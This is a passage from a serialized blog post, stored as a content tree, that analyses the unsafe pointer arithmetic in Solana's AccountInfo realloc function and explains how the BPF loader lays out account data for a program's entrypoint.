data\n",{"type":25,"tag":216,"props":17798,"children":17799},{"class":6916,"line":7238},[17800,17804,17809,17813,17817,17821,17826,17831,17835,17840,17844,17848,17853,17857,17861,17865,17869,17873,17877,17881,17885],{"type":25,"tag":216,"props":17801,"children":17802},{"style":6930},[17803],{"type":31,"value":7005},{"type":25,"tag":216,"props":17805,"children":17806},{"style":6941},[17807],{"type":31,"value":17808}," ptr",{"type":25,"tag":216,"props":17810,"children":17811},{"style":6947},[17812],{"type":31,"value":6950},{"type":25,"tag":216,"props":17814,"children":17815},{"style":6930},[17816],{"type":31,"value":17748},{"type":25,"tag":216,"props":17818,"children":17819},{"style":6947},[17820],{"type":31,"value":179},{"type":25,"tag":216,"props":17822,"children":17823},{"style":7041},[17824],{"type":31,"value":17825},"try_borrow_mut_data",{"type":25,"tag":216,"props":17827,"children":17828},{"style":6958},[17829],{"type":31,"value":17830},"()",{"type":25,"tag":216,"props":17832,"children":17833},{"style":6947},[17834],{"type":31,"value":7075},{"type":25,"tag":216,"props":17836,"children":17837},{"style":7041},[17838],{"type":31,"value":17839},"as_mut_ptr",{"type":25,"tag":216,"props":17841,"children":17842},{"style":6958},[17843],{"type":31,"value":17830},{"type":25,"tag":216,"props":17845,"children":17846},{"style":6947},[17847],{"type":31,"value":179},{"type":25,"tag":216,"props":17849,"children":17850},{"style":7041},[17851],{"type":31,"value":17852},"offset",{"type":25,"tag":216,"props":17854,"children":17855},{"style":6958},[17856],{"type":31,"value":1844},{"type":25,"tag":216,"props":17858,"children":17859},{"style":6947},[17860],{"type":31,"value":8270},{"type":25,"tag":216,"props":17862,"children":17863},{"style":6983},[17864],{"type":31,"value":8025},{"type":25,"tag":216,"props":17866,"children":17867},{"style":6958},[17868],{"type":31,"value":7030},{"type":25,"tag":216,"props":17870,"children":17871},{"style":6930},[17872],{"type":31,"value":12789},{"type":25,"tag":216,"props":17874,"children":17875},{"style":6947},[17876],{"type":31,"value":13767},{"type":25,"tag":216,"props":17878,"children":17879},{"style":6930},[17880],{"type":31,"value":7685},{"type":25,"tag":216,"props":17882,"children":17883},{"style":7369},[17884],{"type":31,"value":9805},{"type":25,"tag":216,"props":17886,"children":17887},{"style":6958},[17888],{"type":31,"value":6961},{"type":25,"tag":216,"props":17890,"children":17891},{"class":6916,"line":7251},[17892,17896,17901,17905,17910,17914,17918],{"type":25,"tag":216,"props":17893,"children":17894},{"style":6947},[17895],{"type":31,"value":11697},{"type":25,"tag":216,"props":17897,"children":17898},{"style":6941},[17899],{"type":31,"value":17900},"ptr",{"type":25,"tag":216,"props":17902,"children":17903},{"style":6947},[17904],{"type":31,"value":6950},{"type":25,"tag":216,"props":17906,"children":17907},{"style":6941},[17908],{"type":31,"value":17909}," new_len",{"type":25,"tag":216,"props":17911,"children":17912},{"style":6930},[17913],{"type":31,"value":12775},{"type":25,"tag":216,"props":17915,"children":17916},{"style":7369},[17917],{"type":31,"value":9805},{"type":25,"tag":216,"props":17919,"children":17920},{"style":6958},[17921],{"type":31,"value":6961},{"type":25,"tag":216,"props":17923,"children":17924},{"class":6916,"line":7269},[17925],{"type":25,"tag":216,"props":17926,"children":17927},{"emptyLinePlaceholder":16},[17928],{"type":31,"value":7636},{"type":25,"tag":216,"props":17930,"children":17931},{"class":6916,"line":7290},[17932],{"type":25,"tag":216,"props":17933,"children":17934},{"style":6921},[17935],{"type":31,"value":17936},"        // Then set the new length in the local slice\n",{"type":25,"tag":216,"props":17938,"children":17939},{"class":6916,"line":7299},[17940,17944,17948,17952,17956,17960,17964,17969,17973,17977,17981,17985,17990,17995,17999,18003,18007,18011,18015,18019,18023,18027,18031,18035,18039,18043,18047,18051,18055,18059,18063],{"type":25,"tag":216,"props":17941,"children":17942},{"style":6930},[17943],{"type":31,"value":7005},{"type":25,"tag":216,"props":17945,"children":17946},{"style":6941},[17947],{"type":31,"value":17808},{"type":25,"tag":216,"props":17949,"children":17950},{"style":6947},[17951],{"type":31,"value":6950},{"type":25,"tag":216,"props":17953,"children":17954},{"style":6947},[17955],{"type":31,"value":11087},{"type":25,"tag":216,"props":17957,"children":17958},{"style":6930},[17959],{"type":31,"value":7685},{"type":25,"tag":216,"props":17961,"children":17962},{"style":6947},[17963],{"type":31,"value":13767},{"type":25,"tag":216,"props":17965,"children":17966},{"style":6958},[17967],{"type":31,"value":17968},"(((",{"type":25,"tag":216,"props":17970,"children":17971},{"style":6930},[17972],{"type":31,"value":17664},{"type":25,"tag":216,"props":17974,"children":17975},{"style":6947},[17976],{"type":31,"value":179},{"type":25,"tag":216,"props":17978,"children":17979},{"style":6958},[17980],{"type":31,"value":7663},{"type":25,"tag":216,"props":17982,"children":17983},{"style":6947},[17984],{"type":31,"value":179},{"type":25,"tag":216,"props":17986,"children":17987},{"style":7041},[17988],{"type":31,"value":17989},"as_ptr",{"type":25,"tag":216,"props":17991,"children":17992},{"style":6958},[17993],{"type":31,"value":17994},"() ",{"type":25,"tag":216,"props":17996,"children":17997},{"style":6930},[17998],{"type":31,"value":12789},{"type":25,"tag":216,"props":18000,"children":18001},{"style":6947},[18002],{"type":31,"value":13767},{"type":25,"tag":216,"props":18004,"children":18005},{"style":6930},[18006],{"type":31,"value":13605},{"type":25,"tag":216,"props":18008,"children":18009},{"style":7369},[18010],{"type":31,"value":9805},{"type":25,"tag":216,"props":18012,"children":18013},{"style":6958},[18014],{"type":31,"value":1882},{"type":25,"tag":216,"props":18016,"children":18017},{"style":6947},[18018],{"type":31,"value":179},{"type":25,"tag":216,"props":18020,"children":18021},{"style":7041},[18022],{"type":31,"value":17852},{"type":25,"tag":216,"props":18024,"children":18025},{"style":6958},[18026],{"type":31,"value":1844},{"type":25,"tag":216,"props":18028,"children":18029},{"style":6983},[18030],{"type":31,"value":184},{"type":25,"tag":216,"props":18032,"children":18033},{"style":6958},[18034],{"type":31,"value":7030},{"type":25,"tag":216,"props":18036,"children":18037},{"style":6930},[18038],{"type":31,"value":12789},{"type":25,"tag":216,"props":18040,"children":18041},{"style":7369},[18042],{"type":31,"value":9805},{"type":25,"tag":216,"props":18044,"children":18045},{"style":6958},[18046],{"type":31,"value":7030},{"type":25,"tag":216,"props":18048,"children":18049},{"style":6930},[18050],{"type":31,"value":12789},{"type":25,"tag":216,"props":18052,"children":18053},{"style":6947},[18054],{"type":31,"value":13767},{"type":25,"tag":216,"props":18056,"children":18057},{"style":6930},[18058],{"type":31,"value":7685},{"type":25,"tag":216,"props":18060,"children":18061},{"style":7369},[18062],{"type":31,"value":9805},{"type":25,"tag":216,"props":18064,"children":18065},{"style":6958},[18066],{"type":31,"value":7791},{"type":25,"tag":216,"props":18068,"children":18069},{"class":6916,"line":7551},[18070,18074,18078,18082,18086,18090,18094],{"type":25,"tag":216,"props":18071,"children":18072},{"style":6947},[18073],{"type":31,"value":11697},{"type":25,"tag":216,"props":18075,"children":18076},{"style":6941},[18077],{"type":31,"value":17900},{"type":25,"tag":216,"props":18079,"children":18080},{"style":6947},[18081],{"type":31,"value":6950},{"type":25,"tag":216,"props":18083,"children":18084},{"style":6941},[18085],{"type":31,"value":17909},{"type":25,"tag":216,"props":18087,"children":18088},{"style":6930},[18089],{"type":31,"value":12775},{"type":25,"tag":216,"props":18091,"children":18092},{"style":7369},[18093],{"type":31,"value":9805},{"type":25,"tag":216,"props":18095,"children":18096},{"style":6958},[18097],{"type":31,"value":6961},{"type":25,"tag":216,"props":18099,"children":18100},{"class":6916,"line":7568},[18101],{"type":25,"tag":216,"props":18102,"children":18103},{"style":6958},[18104],{"type":31,"value":7305},{"type":25,"tag":216,"props":18106,"children":18107},{"class":6916,"line":7585},[18108],{"type":25,"tag":216,"props":18109,"children":18110},{"emptyLinePlaceholder":16},[18111],{"type":31,"value":7636},{"type":25,"tag":216,"props":18113,"children":18114},{"class":6916,"line":7598},[18115],{"type":25,"tag":216,"props":18116,"children":18117},{"style":6921},[18118],{"type":31,"value":18119},"    // zero-init if requested\n",{"type":25,"tag":216,"props":18121,"children":18122},{"class":6916,"line":7607},[18123,18127,18132,18137,18141,18146,18150],{"type":25,"tag":216,"props":18124,"children":18125},{"style":6967},[18126],{"type":31,"value":16229},{"type":25,"tag":216,"props":18128,"children":18129},{"style":6941},[18130],{"type":31,"value":18131}," zero_init",{"type":25,"tag":216,"props":18133,"children":18134},{"style":6947},[18135],{"type":31,"value":18136}," &&",{"type":25,"tag":216,"props":18138,"children":18139},{"style":6941},[18140],{"type":31,"value":17909},{"type":25,"tag":216,"props":18142,"children":18143},{"style":6947},[18144],{"type":31,"value":18145}," >",{"type":25,"tag":216,"props":18147,"children":18148},{"style":6941},[18149],{"type":31,"value":17739},{"type":25,"tag":216,"props":18151,"children":18152},{"style":6958},[18153],{"type":31,"value":7235},{"type":25,"tag":216,"props":18155,"children":18156},{"class":6916,"line":7630},[18157,18162],{"type":25,"tag":216,"props":18158,"children":18159},{"style":7041},[18160],{"type":31,"value":18161},"        sol_memset",{"type":25,"tag":216,"props":18163,"children":18164},{"style":6958},[18165],{"type":31,"value":7414},{"type":25,"tag":216,"props":18167,"children":18168},{"class":6916,"line":7639},[18169,18173,18177,18181,18185,18189,18193,18197,18201,18206,18210],{"type":25,"tag":216,"props":18170,"children":18171},{"style":6947},[18172],{"type":31,"value":11630},{"type":25,"tag":216,"props":18174,"children":18175},{"style":6930},[18176],{"type":31,"value":7685},{"type":25,"tag":216,"props":18178,"children":18179},{"style":6930},[18180],{"type":31,"value":17748},{"type":25,"tag":216,"props":18182,"children":18183},{"style":6947},[18184],{"type":31,"value":179},{"type":25,"tag":216,"props":18186,"children":18187},{"style":7041},[18188],{"type":31,"value":17825},{"type":25,"tag":216,"props":18190,"children":18191},{"style":6958},[18192],{"type":31,"value":17830},{"type":25,"tag":216,"props":18194,"children":18195},{"style":6947},[18196],{"type":31,"value":605},{"type":25,"tag":216,"props":18198,"children":18199},{"style":6958},[18200],{"type":31,"value":7695},{"type":25,"tag":216,"props":18202,"children":18203},{"style":6941},[18204],{"type":31,"value":18205},"orig_len",{"type":25,"tag":216,"props":18207,"children":18208},{"style":6947},[18209],{"type":31,"value":6991},{"type":25,"tag":216,"props":18211,"children":18212},{"style":6958},[18213],{"type":31,"value":18214},"],\n",{"type":25,"tag":216,"props":18216,"children":18217},{"class":6916,"line":7648},[18218,18223],{"type":25,"tag":216,"props":18219,"children":18220},{"style":6983},[18221],{"type":31,"value":18222},"            0",{"type":25,"tag":216,"props":18224,"children":18225},{"style":6958},[18226],{"type":31,"value":7459},{"type":25,"tag":216,"props":18228,"children":18229},{"class":6916,"line":7716},[18230,18235,18239,18244,18248,18252],{"type":25,"tag":216,"props":18231,"children":18232},{"style":6941},[18233],{"type":31,"value":18234},"            new_len",{"type":25,"tag":216,"props":18236,"children":18237},{"style":6947},[18238],{"type":31,"value":179},{"type":25,"tag":216,"props":18240,"children":18241},{"style":7041},[18242],{"type":31,"value":18243},"saturating_sub",{"type":25,"tag":216,"props":18245,"children":18246},{"style":6958},[18247],{"type":31,"value":1844},{"type":25,"tag":216,"props":18249,"children":18250},{"style":6941},[18251],{"type":31,"value":18205},{"type":25,"tag":216,"props":18253,"children":18254},{"style":6958},[18255],{"type":31,"value":10682},{"type":25,"tag":216,"props":18257,"children":18258},{"class":6916,"line":7724},[18259],{"type":25,"tag":216,"props":18260,"children":18261},{"style":6958},[18262],{"type":31,"value":11689},{"type":25,"tag":216,"props":18264,"children":18265},{"class":6916,"line":7754},[18266],{"type":25,"tag":216,"props":18267,"children":18268},{"style":6958},[18269],{"type":31,"value":7305},{"type":25,"tag":216,"props":18271,"children":18272},{"class":6916,"line":7762},[18273],{"type":25,"tag":216,"props":18274,"children":18275},{"emptyLinePlaceholder":16},[18276],{"type":31,"value":7636},{"type":25,"tag":216,"props":18278,"children":18279},{"class":6916,"line":7794},[18280,18285],{"type":25,"tag":216,"props":18281,"children":18282},{"style":7369},[18283],{"type":31,"value":18284},"    Ok",{"type":25,"tag":216,"props":18286,"children":18287},{"style":6958},[18288],{"type":31,"value":18289},"(())\n",{"type":25,"tag":216,"props":18291,"children":18292},{"class":6916,"line":7802},[18293],{"type":25,"tag":216,"props":18294,"children":18295},{"style":6958},[18296],{"type":31,"value":7868},{"type":25,"tag":38,"props":18298,"children":18299},{},[18300,18302,18308,18310,18315],{"type":31,"value":18301},"Oh. There's ",{"type":25,"tag":82,"props":18303,"children":18305},{"className":18304},[],[18306],{"type":31,"value":18307},"unsafe",{"type":31,"value":18309},". And no bounds check in sight. ",{"type":25,"tag":64,"props":18311,"children":18312},{},[18313],{"type":31,"value":18314},"And",{"type":31,"value":18316}," pointer math. That doesn't look promising...",{"type":25,"tag":26,"props":18318,"children":18320},{"id":18319},"breaking-down-realloc",[18321,18323],{"type":31,"value":18322},"Breaking down ",{"type":25,"tag":82,"props":18324,"children":18326},{"className":18325},[],[18327],{"type":31,"value":17589},{"type":25,"tag":38,"props":18329,"children":18330},{},[18331,18333,18338],{"type":31,"value":18332},"Let's pick apart this ",{"type":25,"tag":82,"props":18334,"children":18336},{"className":18335},[],[18337],{"type":31,"value":18307},{"type":31,"value":18339}," block, since there's a lot going on here.",{"type":25,"tag":206,"props":18341,"children":18343},{"className":6909,"code":18342,"language":6908,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[18344],{"type":25,"tag":82,"props":18345,"children":18346},{"__ignoreMap":7},[18347,18355,18442],{"type":25,"tag":216,"props":18348,"children":18349},{"class":6916,"line":6917},[18350],{"type":25,"tag":216,"props":18351,"children":18352},{"style":6921},[18353],{"type":31,"value":18354},"// First set new length in the serialized data\n",{"type":25,"tag":216,"props":18356,"children":18357},{"class":6916,"line":6763},[18358,18362,18366,18370,18374,18378,18382,18386,18390,18394,18398,18402,18406,18410,18414,18418,18422,18426,18430,18434,18438],{"type":25,"tag":216,"props":18359,"children":18360},{"style":6930},[18361],{"type":31,"value":15737},{"type":25,"tag":216,"props":18363,"children":18364},{"style":6941},[18365],{"type":31,"value":17808},{"type":25,"tag":216,"props":18367,"children":18368},{"style":6947},[18369],{"type":31,"value":6950},{"type":25,"tag":216,"props":18371,"children":18372},{"style":6930},[18373],{"type":31,"value":17748},{"type":25,"tag":216,"props":18375,"children":18376},{"style":6947},[18377],{"type":31,"value":179},{"type":25,"tag":216,"props":18379,"children":18380},{"style":7041},[18381],{"type":31,"value":17825},{"type":25,"tag":216,"props":18383,"children":18384},{"style":6958},[18385],{"type":31,"value":17830},{"type":25,"tag":216,"props":18387,"children":18388},{"style":6947},[18389],{"type":31,"value":7075},{"type":25,"tag":216,"props":18391,"children":18392},{"style":7041},[18393],{"type":31,"value":17839},{"type":25,"tag":216,"props":18395,"children":18396},{"style":6958},[18397],{"type":31,"value":17830},{"type":25,"tag":216,"props":18399,"children":18400},{"style":6947},[18401],{"type":31,"value":179},{"type":25,"tag":216,"props":18403,"children":18404},{"style":7041},[18405],{"type":31,"value":17852},{"type":25,"tag":216,"props":18407,"children":18408},{"style":6958},[18409],{"type":31,"value":1844},{"type":25,"tag":216,"props":18411,"children":18412},{"style":6947},[18413],{"type":31,"value":8270},{"type":25,"tag":216,"props":18415,"children":18416},{"style":6983},[18417],{"type":31,"value":8025},{"type":25,"tag":216,"props":18419,"children":18420},{"style":6958},[18421],{"type":31,"value":7030},{"type":25,"tag":216,"props":18423,"children":18424},{"style":6930},[18425],{"type":31,"value":12789},{"type":25,"tag":216,"props":18427,"children":18428},{"style":6947},[18429],{"type":31,"value":13767},{"type":25,"tag":216,"props":18431,"children":18432},{"style":6930},[18433],{"type":31,"value":7685},{"type":25,"tag":216,"props":18435,"children":18436},{"style":7369},[18437],{"type":31,"value":9805},{"type":25,"tag":216,"props":18439,"children":18440},{"style":6958},[18441],{"type":31,"value":6961},{"type":25,"tag":216,"props":18443,"children":18444},{"class":6916,"line":6772},[18445,18449,18453,18457,18461,18465,18469],{"type":25,"tag":216,"props":18446,"children":18447},{"style":6947},[18448],{"type":31,"value":8513},{"type":25,"tag":216,"props":18450,"children":18451},{"style":6941},[18452],{"type":31,"value":17900},{"type":25,"tag":216,"props":18454,"children":18455},{"style":6947},[18456],{"type":31,"value":6950},{"type":25,"tag":216,"props":18458,"children":18459},{"style":6941},[18460],{"type":31,"value":17909},{"type":25,"tag":216,"props":18462,"children":18463},{"style":6930},[18464],{"type":31,"value":12775},{"type":25,"tag":216,"props":18466,"children":18467},{"style":7369},[18468],{"type":31,"value":9805},{"type":25,"tag":216,"props":18470,"children":18471},{"style":6958},[18472],{"type":31,"value":6961},{"type":25,"tag":38,"props":18474,"children":18475},{},[18476,18481],{"type":25,"tag":82,"props":18477,"children":18479},{"className":18478},[],[18480],{"type":31,"value":17825},{"type":31,"value":18482}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":25,"tag":607,"props":18484,"children":18486},{"id":18485},"bpf-loader-abi",[18487],{"type":31,"value":18488},"BPF Loader ABI",{"type":25,"tag":38,"props":18490,"children":18491},{},[18492,18494,18499,18501,18514],{"type":31,"value":18493},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":25,"tag":82,"props":18495,"children":18497},{"className":18496},[],[18498],{"type":31,"value":17604},{"type":31,"value":18500},"'s entrypoint code - the code that's added when you use the ",{"type":25,"tag":162,"props":18502,"children":18505},{"href":18503,"rel":18504},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[166],[18506,18512],{"type":25,"tag":82,"props":18507,"children":18509},{"className":18508},[],[18510],{"type":31,"value":18511},"entrypoint!",{"type":31,"value":18513}," macro",{"type":31,"value":1466},{"type":25,"tag":206,"props":18516,"children":18518},{"className":6909,"code":18517,"language":6908,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[18519],{"type":25,"tag":82,"props":18520,"children":18521},{"__ignoreMap":7},[18522,18530,18602,18645,18697,18756,18799,18842,18849],{"type":25,"tag":216,"props":18523,"children":18524},{"class":6916,"line":6917},[18525],{"type":25,"tag":216,"props":18526,"children":18527},{"style":6958},[18528],{"type":31,"value":18529},"#[no_mangle]\n",{"type":25,"tag":216,"props":18531,"children":18532},{"class":6916,"line":6763},[18533,18537,18542,18547,18552,18556,18561,18565,18569,18573,18577,18581,18586,18590,18594,18598],{"type":25,"tag":216,"props":18534,"children":18535},{"style":6930},[18536],{"type":31,"value":17641},{"type":25,"tag":216,"props":18538,"children":18539},{"style":6930},[18540],{"type":31,"value":18541}," unsafe",{"type":25,"tag":216,"props":18543,"children":18544},{"style":6930},[18545],{"type":31,"value":18546}," extern",{"type":25,"tag":216,"props":18548,"children":18549},{"style":8199},[18550],{"type":31,"value":18551}," \"C\"",{"type":25,"tag":216,"props":18553,"children":18554},{"style":6930},[18555],{"type":31,"value":17646},{"type":25,"tag":216,"props":18557,"children":18558},{"style":7041},[18559],{"type":31,"value":18560}," entrypoint",{"type":25,"tag":216,"props":18562,"children":18563},{"style":6958},[18564],{"type":31,"value":1844},{"type":25,"tag":216,"props":18566,"children":18567},{"style":6941},[18568],{"type":31,"value":12313},{"type":25,"tag":216,"props":18570,"children":18571},{"style":6947},[18572],{"type":31,"value":1466},{"type":25,"tag":216,"props":18574,"children":18575},{"style":6947},[18576],{"type":31,"value":13767},{"type":25,"tag":216,"props":18578,"children":18579},{"style":6930},[18580],{"type":31,"value":7685},{"type":25,"tag":216,"props":18582,"children":18583},{"style":7369},[18584],{"type":31,"value":18585}," u8",{"type":25,"tag":216,"props":18587,"children":18588},{"style":6958},[18589],{"type":31,"value":7030},{"type":25,"tag":216,"props":18591,"children":18592},{"style":6947},[18593],{"type":31,"value":17708},{"type":25,"tag":216,"props":18595,"children":18596},{"style":7369},[18597],{"type":31,"value":9805},{"type":25,"tag":216,"props":18599,"children":18600},{"style":6958},[18601],{"type":31,"value":7235},{"type":25,"tag":216,"props":18603,"children":18604},{"class":6916,"line":6772},[18605,18609,18613,18618,18622,18627,18631,18636,18640],{"type":25,"tag":216,"props":18606,"children":18607},{"style":6930},[18608],{"type":31,"value":6933},{"type":25,"tag":216,"props":18610,"children":18611},{"style":6958},[18612],{"type":31,"value":7010},{"type":25,"tag":216,"props":18614,"children":18615},{"style":6941},[18616],{"type":31,"value":18617},"program_id",{"type":25,"tag":216,"props":18619,"children":18620},{"style":6958},[18621],{"type":31,"value":7020},{"type":25,"tag":216,"props":18623,"children":18624},{"style":6941},[18625],{"type":31,"value":18626},"accounts",{"type":25,"tag":216,"props":18628,"children":18629},{"style":6958},[18630],{"type":31,"value":7020},{"type":25,"tag":216,"props":18632,"children":18633},{"style":6941},[18634],{"type":31,"value":18635},"instruction_data",{"type":25,"tag":216,"props":18637,"children":18638},{"style":6958},[18639],{"type":31,"value":7030},{"type":25,"tag":216,"props":18641,"children":18642},{"style":6947},[18643],{"type":31,"value":18644},"=\n",{"type":25,"tag":216,"props":18646,"children":18647},{"class":6916,"line":6999},[18648,18653,18657,18661,18666,18670,18675,18679,18684,18688,18692],{"type":25,"tag":216,"props":18649,"children":18650},{"style":6930},[18651],{"type":31,"value":18652},"        unsafe",{"type":25,"tag":216,"props":18654,"children":18655},{"style":6958},[18656],{"type":31,"value":13536},{"type":25,"tag":216,"props":18658,"children":18659},{"style":6947},[18660],{"type":31,"value":14239},{"type":25,"tag":216,"props":18662,"children":18663},{"style":6930},[18664],{"type":31,"value":18665},"crate",{"type":25,"tag":216,"props":18667,"children":18668},{"style":6947},[18669],{"type":31,"value":7432},{"type":25,"tag":216,"props":18671,"children":18672},{"style":6958},[18673],{"type":31,"value":18674},"entrypoint",{"type":25,"tag":216,"props":18676,"children":18677},{"style":6947},[18678],{"type":31,"value":7432},{"type":25,"tag":216,"props":18680,"children":18681},{"style":7041},[18682],{"type":31,"value":18683},"deserialize",{"type":25,"tag":216,"props":18685,"children":18686},{"style":6958},[18687],{"type":31,"value":1844},{"type":25,"tag":216,"props":18689,"children":18690},{"style":6941},[18691],{"type":31,"value":12313},{"type":25,"tag":216,"props":18693,"children":18694},{"style":6958},[18695],{"type":31,"value":18696},") };\n",{"type":25,"tag":216,"props":18698,"children":18699},{"class":6916,"line":7104},[18700,18705,18710,18715,18719,18723,18727,18731,18735,18739,18743,18747,18751],{"type":25,"tag":216,"props":18701,"children":18702},{"style":6967},[18703],{"type":31,"value":18704},"    match",{"type":25,"tag":216,"props":18706,"children":18707},{"style":6947},[18708],{"type":31,"value":18709}," $",{"type":25,"tag":216,"props":18711,"children":18712},{"style":6941},[18713],{"type":31,"value":18714},"process_instruction",{"type":25,"tag":216,"props":18716,"children":18717},{"style":6958},[18718],{"type":31,"value":1844},{"type":25,"tag":216,"props":18720,"children":18721},{"style":6947},[18722],{"type":31,"value":7053},{"type":25,"tag":216,"props":18724,"children":18725},{"style":6941},[18726],{"type":31,"value":18617},{"type":25,"tag":216,"props":18728,"children":18729},{"style":6958},[18730],{"type":31,"value":7020},{"type":25,"tag":216,"props":18732,"children":18733},{"style":6947},[18734],{"type":31,"value":7053},{"type":25,"tag":216,"props":18736,"children":18737},{"style":6941},[18738],{"type":31,"value":18626},{"type":25,"tag":216,"props":18740,"children":18741},{"style":6958},[18742],{"type":31,"value":7020},{"type":25,"tag":216,"props":18744,"children":18745},{"style":6947},[18746],{"type":31,"value":7053},{"type":25,"tag":216,"props":18748,"children":18749},{"style":6941},[18750],{"type":31,"value":18635},{"type":25,"tag":216,"props":18752,"children":18753},{"style":6958},[18754],{"type":31,"value":18755},") {\n",{"type":25,"tag":216,"props":18757,"children":18758},{"class":6916,"line":7210},[18759,18764,18769,18774,18778,18782,18786,18790,18794],{"type":25,"tag":216,"props":18760,"children":18761},{"style":7369},[18762],{"type":31,"value":18763},"        Ok",{"type":25,"tag":216,"props":18765,"children":18766},{"style":6958},[18767],{"type":31,"value":18768},"(()) ",{"type":25,"tag":216,"props":18770,"children":18771},{"style":6947},[18772],{"type":31,"value":18773},"=>",{"type":25,"tag":216,"props":18775,"children":18776},{"style":6947},[18777],{"type":31,"value":18709},{"type":25,"tag":216,"props":18779,"children":18780},{"style":6930},[18781],{"type":31,"value":18665},{"type":25,"tag":216,"props":18783,"children":18784},{"style":6947},[18785],{"type":31,"value":7432},{"type":25,"tag":216,"props":18787,"children":18788},{"style":6958},[18789],{"type":31,"value":18674},{"type":25,"tag":216,"props":18791,"children":18792},{"style":6947},[18793],{"type":31,"value":7432},{"type":25,"tag":216,"props":18795,"children":18796},{"style":6958},[18797],{"type":31,"value":18798},"SUCCESS,\n",{"type":25,"tag":216,"props":18800,"children":18801},{"class":6916,"line":7238},[18802,18807,18811,18816,18820,18824,18829,18833,18838],{"type":25,"tag":216,"props":18803,"children":18804},{"style":7369},[18805],{"type":31,"value":18806},"        Err",{"type":25,"tag":216,"props":18808,"children":18809},{"style":6958},[18810],{"type":31,"value":1844},{"type":25,"tag":216,"props":18812,"children":18813},{"style":6941},[18814],{"type":31,"value":18815},"error",{"type":25,"tag":216,"props":18817,"children":18818},{"style":6958},[18819],{"type":31,"value":7030},{"type":25,"tag":216,"props":18821,"children":18822},{"style":6947},[18823],{"type":31,"value":18773},{"type":25,"tag":216,"props":18825,"children":18826},{"style":6941},[18827],{"type":31,"value":18828}," error",{"type":25,"tag":216,"props":18830,"children":18831},{"style":6947},[18832],{"type":31,"value":179},{"type":25,"tag":216,"props":18834,"children":18835},{"style":7041},[18836],{"type":31,"value":18837},"into",{"type":25,"tag":216,"props":18839,"children":18840},{"style":6958},[18841],{"type":31,"value":7442},{"type":25,"tag":216,"props":18843,"children":18844},{"class":6916,"line":7251},[18845],{"type":25,"tag":216,"props":18846,"children":18847},{"style":6958},[18848],{"type":31,"value":7305},{"type":25,"tag":216,"props":18850,"children":18851},{"class":6916,"line":7269},[18852],{"type":25,"tag":216,"props":18853,"children":18854},{"style":6958},[18855],{"type":31,"value":7868},{"type":25,"tag":38,"props":18857,"children":18858},{},[18859,18861,18866,18868,18874,18876,18883,18885,18891,18893,18900],{"type":31,"value":18860},"What we see here is the contract's real entrypoint - it takes a ",{"type":25,"tag":82,"props":18862,"children":18864},{"className":18863},[],[18865],{"type":31,"value":7372},{"type":31,"value":18867}," buffer in from the loader, and calls ",{"type":25,"tag":82,"props":18869,"children":18871},{"className":18870},[],[18872],{"type":31,"value":18873},"solana_program::entrypoint::deserialize",{"type":31,"value":18875},", which then ",{"type":25,"tag":162,"props":18877,"children":18880},{"href":18878,"rel":18879},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[166],[18881],{"type":31,"value":18882},"parses out",{"type":31,"value":18884}," all the ",{"type":25,"tag":82,"props":18886,"children":18888},{"className":18887},[],[18889],{"type":31,"value":18890},"AccountInfo",{"type":31,"value":18892},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":25,"tag":162,"props":18894,"children":18897},{"href":18895,"rel":18896},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[166],[18898],{"type":31,"value":18899},"laid out",{"type":31,"value":1466},{"type":25,"tag":206,"props":18902,"children":18904},{"className":6909,"code":18903,"language":6908,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[18905],{"type":25,"tag":82,"props":18906,"children":18907},{"__ignoreMap":7},[18908,18925,19005,19038,19045,19093,19137,19145,19169],{"type":25,"tag":216,"props":18909,"children":18910},{"class":6916,"line":6917},[18911,18916,18920],{"type":25,"tag":216,"props":18912,"children":18913},{"style":6958},[18914],{"type":31,"value":18915},"#[allow(clippy",{"type":25,"tag":216,"props":18917,"children":18918},{"style":6947},[18919],{"type":31,"value":7432},{"type":25,"tag":216,"props":18921,"children":18922},{"style":6958},[18923],{"type":31,"value":18924},"cast_ptr_alignment)]\n",{"type":25,"tag":216,"props":18926,"children":18927},{"class":6916,"line":6763},[18928,18932,18937,18941,18945,18949,18953,18957,18961,18965,18969,18973,18977,18981,18985,18989,18993,18997,19001],{"type":25,"tag":216,"props":18929,"children":18930},{"style":6930},[18931],{"type":31,"value":15737},{"type":25,"tag":216,"props":18933,"children":18934},{"style":6941},[18935],{"type":31,"value":18936}," 